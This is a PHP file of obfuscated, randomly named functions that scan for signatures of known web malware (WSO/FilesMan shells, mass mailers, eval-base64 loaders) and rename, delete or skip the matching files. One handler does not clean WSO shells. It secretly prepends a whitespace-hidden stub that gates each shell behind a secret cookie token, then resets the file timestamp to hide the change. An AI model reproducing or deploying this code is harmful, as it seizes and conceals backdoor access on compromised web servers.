function rpcfnzs($content)
{
if (strpos($content, " = mail(\$_POST[") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(base64_decode(") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, " = mail(stripslashes(\$") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "mail") !== FALSE && substr_count($content, "stripslashes(base64_decode(\$_POST[") == 4)
{
    return TRUE;
}

if (strpos($content, "eval(\"return eval(\"\$code\");\") ?>") !== FALSE)
{
    return TRUE;
}

if (strpos($content, "if(isset(\$_POST[\"msgbody\"]))") !== FALSE && strpos($content, "if(isset(\$_POST[\"msgsubject\"]))") !== FALSE)
{
    return TRUE;
}


return FALSE;
}
function gcal($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rkhjpxpkkyq($content)
{
if (strpos($content, "eval") !== FALSE)
{
    $brace1 = substr_count($content, "{");
    $brace2 = substr_count($content, "(");
    if (($brace1 == 3 || $brace1 == 2) && ($brace2 == 6 || $brace2 == 4))
    {
        return TRUE;
    }
}

return FALSE;
}
function gyuda($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rswfnorgr($content)
{
if (strpos($content, "if(mail(\$MailTo,") !== FALSE)
{
    if (substr_count($content, ")") == 14)
    {
        return TRUE;
    }
}

return FALSE;
}
function guygmconszx($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rutsg($content)
{
if (strpos($content, ";eval(\$") !== FALSE)
{
    if (substr_count($content, ")") == 6)
    {
        return TRUE;
    }
}

return FALSE;
}
function giljj($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rhupqslmc($content)
{
if (strpos($content, "<?php @eval(\$_POST[") !== FALSE)
{
    return TRUE;
}

return FALSE;

}
function gjdgg($path)
{
if(!@rename($path, $path . ".suspected"))
{
    @unlink($path);
}
}
function rprwzpss($content)
{
if (strpos($content, "http://www.fopo.com.ar/") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function glwctlyh($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rjvsnrvyh($content)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");

$s1 = strpos($content, "FilesMan");
$s2 = strpos($content, "WSOsetcookie");

$s3_1 = strpos($content, "default_use_ajax");
$s3_2 = strpos($content, "default_action");

if (($s1 !== FALSE || $s2 !== FALSE || ($s3_1 !== FALSE && $s3_2 !== FALSE)) and strpos($content, $auth_token) === FALSE) 
{
    return TRUE;
}

return FALSE;
}
function gpcdpw($path)
{
$auth_token = md5(md5($_SERVER['HTTP_HOST']) . $_SERVER['HTTP_HOST'] . "salt1I*@#31RTds34+543sf");
$space_str = "";
for ($i=0; $i<512; $i++) {$space_str .= " ";}
$payload = "<" . "?php " . $space_str . " if (!isset(\$_COOKIE['[AUTH]'])) {header('HTTP/1.0 404 Not Found');exit;} ?> ";
$payload = str_replace('[AUTH]', $auth_token, $payload);
$data = @file_get_contents($path);

$mod_time = @stat($path);
@unlink($path);
@file_put_contents($path, $payload . $data);
if ($mod_time)
{
    @touch($path, $mod_time['mtime']);
}

}
function ryuhlvyflw($content)
{
if (strpos($content, "  ,\"") !== FALSE && strpos($content, "\";\$") !== FALSE && strpos($content, "'\".\$") !== FALSE && substr_count($content, " = \"") == 3)
{
    return TRUE;
}

return FALSE;
}
function gqhqtfjh($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rzvgo($content)
{
if (substr_count($content, ".chr(") > 20 && substr_count($content, "\n") < 10)
{
    return TRUE;
}
return FALSE;
}
function gqnq($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rhivhs($content)
{
if (strpos($content, "<?php \$") === 0 && substr_count($content, ";\$") == 7)
{
    return TRUE;
}

return FALSE;
}
function gfxyqtz($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rtyeka($content)
{
if (strpos($content, "};eval(\$") !== FALSE && substr_count($content, "}.\$") == 21 && substr_count($content, "};\$") == 4)
{
    return TRUE;
}

return FALSE;
}
function ggidzr($path)
{
$content = @file_get_contents($path);

$start = strpos($content, "<" . "?php");
if ($start !== FALSE)
{
    $stop = strpos($content, "?" . ">", $start);
    $payload_pos = strpos($content, "};eval(\$");

    if ($stop != FALSE && $payload_pos !== FALSE && $payload_pos < $stop)
    {
        $stop += 2;
        @file_put_contents($path, substr($content, $stop));
    }
}
}
function rpdav($content)
{
if (substr_count($content, "].\$") == 15 && substr_count($content, ").\"") >= 9)
{
    return TRUE;
}

return FALSE;
}
function gvkvrmwawk($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rjfzq($content)
{
if (strpos($content, "echo \"file test okay\";") !== FALSE && strpos($content, "if( isset(\$_REQUEST[\"test_url\"]) ){") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gzhjhmtw($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function roqx($content)
{
if ((strpos($content, "eval") !== FALSE || strpos($content, "preg_replace") !== FALSE || strpos($content, "_REQUEST") !== FALSE || strpos($content, "_PO") !== FALSE) && substr_count($content, "\n") <= 1 && strlen($content) < 1000)
{
    return TRUE;
}

return FALSE;
}
function gfmmfriqho($path)
{
return;
}
function rfvahkcom($content)
{
if (strpos($content, "null==getCookie(\"__cfgoid\")&&(setCookie(\"__cfgoid\",1,1),") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gcahn($path)
{
return;
}
function rvzwdjnl($content)
{
if (strpos($content, " = \"\\x69\\x6e\\x74\\x76\\x61\\x6c\"; \$") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function ggizcg($path)
{
return;
}
function rldwvrbm($content)
{
if (strpos($content, "\$wp_enc_file = '<" . "?php eval(\"") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gkwxmjj($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function ryltsm($content)
{
if (strpos($content, "\treturn @gzinflate") !== FALSE && strpos($content, "'] : (isset(\$_COOKIE['") !== FALSE && strpos($content, "<form method=\"post\" action=\"\">") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gtkhvauoz($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rbsmymxj($content)
{
if (strpos($content, "urldecode(\"%6E1%7A%62%2F%6D%615%5C%76") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gcxzd($path)
{
return;
}
function rwfmwtanvd($content)
{
if (strpos($content, "\"));'); \$strings(\$light);") !== FALSE || strpos($content, "@\$strings(str_rot13('riny(") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gankhpdiaa($path)
{
return;
}
function rpfnssforni($content)
{
if (strpos($content, "\$f = \$a(\"\", \$array_name(\$string));") !== FALSE && strpos($content, "MALWARE") === FALSE)
{
    return TRUE;
}
return FALSE;
}
function gscfmi($path)
{
return;
}
function rwlekesswou($content)
{
if (strpos($content, "if( isset(\$_POST['_f_wp']) ) @setcookie( '_f_wp', \$_POST['_f_wp'] );") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gzoamsh($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rbgs($content)
{
if (strpos($content, "<" . "?php eval(gzinflate(base64_decode('") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function ggawqfnuwth($path)
{
return;
}
function rwcglp($content)
{
if (substr_count($content, "].\$") == 15 && strpos($content, "FilesMan") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gkijmlmrz($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function resdiiqepy($content)
{
if (substr_count($content, "} . \$") == 36)
{
    return TRUE;
}
return FALSE;
}
function gdrzqfkn($path)
{
return;
}
function rszdmi($content)
{
if (strpos($content, "\'#ListChecker#i\', \'#MSIECrawler#i\', \'#NetCache#i\', \'#Nutch#i\'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function geetkbggteh($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rwnm($content)
{
if (substr_count($content, "return \"{\$") > 50)
{
    return TRUE;
}
return FALSE;

}
function gdrmypn($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rffq($content)
{
if (strpos($content, " }eval(") !== FALSE && strpos($content, "\$i] = chr(ord(\$") !== FALSE && strpos($content, "=gzinflate(\$code($") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gwyunzatq($path)
{
return;
}
function rgjpn($content)
{
if (strpos($content, "ms_not_installed") !== FALSE && strpos($content, "\$id = \$_POST['id']") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gdayxewbifv($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function ristcurdrde($content)
{
if (strpos($content, "if(!\$ping){post_mch(\$sd,'C1',\$rel);}") !== FALSE)
{
    return TRUE;
}
}
function groszgxixql($path)
{
return;
}
function rlrdzwxugl($content)
{
if (strpos($content, "if (is_array(\$s) && (count(\$s) > 0) && isset(\$s[0]['txt']) && strlen(\$s[0]['txt']))") !== FALSE)
{
    return TRUE;
}

}
function gorvvqmls($path)
{
return;
}
function ryjlyge($content)
{
if (strpos($content, "{\$r='';for(\$i=0;\$i<strLen(\$p);\$i+=2){\$r.=chr(hexdec(\$p[\$") !== FALSE)
{
    return TRUE;
}
}
function gnryayodoh($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rsaqrov($content)
{
if (strpos($content, "z0=\$_REQUEST['sort'];\$q1='';\$c2=\"wt8m4;") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gfvhpcjx($path)
{
return;
}
function rxbxpbteydk($content)
{
if (strpos($content, "aWYoISRfQ09PS0lFW") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gklejcn($path)
{
return;
}
function rlqvggeuot($content)
{
if (strpos($content, "error_reporting(E_ALL);\$DOMAIN_FNAME1_7QNG") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gozumb($path)
{
return;
}
function rtagfja($content)
{
if (strpos($content, "@ini_restore('error_log'); @ini_restore('display_errors'); /*") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function gugajjxu($path)
{
return;
}
function rlnzdzr($content)
{
if (strpos($content, "<" . "?php eval(gzuncompress(base64_decode('eNq") !== FALSE) 
{
    return TRUE;
}
return FALSE;

}
function gdctwsti($path)
{
return;
}
function rvpck($content)
{
if (strpos($content, "};}}return $") !== FALSE && strpos($content, "'.''.''.''.'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gyhkyr($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rghzex($content)
{
if (strpos($content, "function wp_sessiion_init(\$ytd){") !== FALSE && strpos($content, "='base64_decode';") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gpdur($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rjug($content)
{
$sig_3 = "<" . "?php eval(base64_decode('JGY9ZGlybmFtZSh";
if (strpos($content, $sig_3) !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gcerlfx($path)
{
return;
}
function rydvhbwzni($content)
{
$sig_2 = "if(\$_GET[\"login\"]==\"cmd\"){if(\$_POST['";
if (strpos($content, $sig_2) !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gntaout($path)
{
return;
}
function rwpiho($content)
{
if (strpos($content, "//header('Content-Type:text/html; charset=utf-8');") !== FALSE && strpos($content, "global \$symbol_url") !== FALSE)
{
    return TRUE;
}

return FALSE;
}
function grnnybguiw($path)
{
return;
}
function rwalaqkds($content)
{
if (strpos($content, "<script language=javascript>eval(String.fromCharCode(118, 97, 114, 32,") !== FALSE)
{ 
    return TRUE; 
} 

return FALSE;
}
function gabvzktal($path)
{
return;
}
function razbwyxbjw($content)
{
if (strpos($content, "='';@eval(base64_decode('QG9iX3N0YXJ0K") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gtjzqnqgj($path)
{
return;
}
function rruzotloqs($content)
{
 if (strpos($content, "@include_once('/") !== FALSE && strpos($content, $_SERVER["DOCUMENT_ROOT"]) !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function ggezzse($path)
{
return;
}
function rydbpiug($content)
{
if (strpos($content, "eval(gzuncompress(base64_decode('eNp") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gtkr($path)
{
return;
}
function rpyprddx($content)
{
if (strpos($content, "('Content-Type:text/html;charset=utf-8');if(!function_exists('str_ireplace')") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gkchtqexoo($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function ryawrzrqf($content)
{
if (strpos($content, "preg_match('#<img src=\"data:image/png;base64,(.*)\">#'") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gsdtcfy($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rbgzqenzwv($content)
{
if (strpos($content, "\$meta = 'c'.'hr';") !== FALSE && strpos($content, "@\$docRoot(\$name(\$first,\$second));") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gjbsni($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rzfi($content)
{
if (strpos($content, "# Esecuzione di un comando") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gluwcgkl($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rwxx($content)
{
if (strpos($content, "function assert_main_php (\$domain, \$main_php, \$dir)") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gmsrm($path)
{
return;
}
function rujcatlgzd($content)
{
if (strpos($content, "('', '}'.\$") !== FALSE && strpos($content, "?php function ") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gbxwhaq($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rtomu($content)
{
if (strpos($content, "\$_FILES[\"filename\"][\"tmp_name\"]") !== FALSE && strpos($content, "Your IP: ") !== FALSE && strpos($content, "move_uploaded_file") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gsjjmms($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rutjsldqdqo($content)
{
if (strpos($content, "script_name)) { echo '~Client has been activated") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gsbyzz($path)
{
return;
}
function rsdztmdypa($content)
{
if (strpos($content, "<" . "?php /* WSO [2.6]  */\$") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gcri($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rqftakzaon($content)
{
if (strpos($content, "password: Xclusiv-3D") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gfkzuefcdem($path)
{
return;
}
function rxrdjpumthg($content)
{
if (strpos($content, "\$sempax = 'eJzs") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function grtukxhqnrg($path)
{
return;
}
function rmvxxdkyj($content)
{
if (strpos($content, "Q2k4cUNpQXFJRkpGVmtsV") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gpoeuq($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function rxhuwnt($content)
{
if (strpos($content, "\"));return;?" . ">") !== FALSE && strpos($content, "\";eval(base64_decode(\"") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gnglgooy($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
function ricoeyiii($content)
{
if (strpos($content, "{ \$x = ''; for (\$i = 0, \$n = strlen(\$s); \$i < \$n; \$i += 2)") !== FALSE)
{
    return TRUE;
}
return FALSE;
}
function gnod($path)
{
if(!@rename($path, $path . ".suspected")) { @unlink($path); }
}
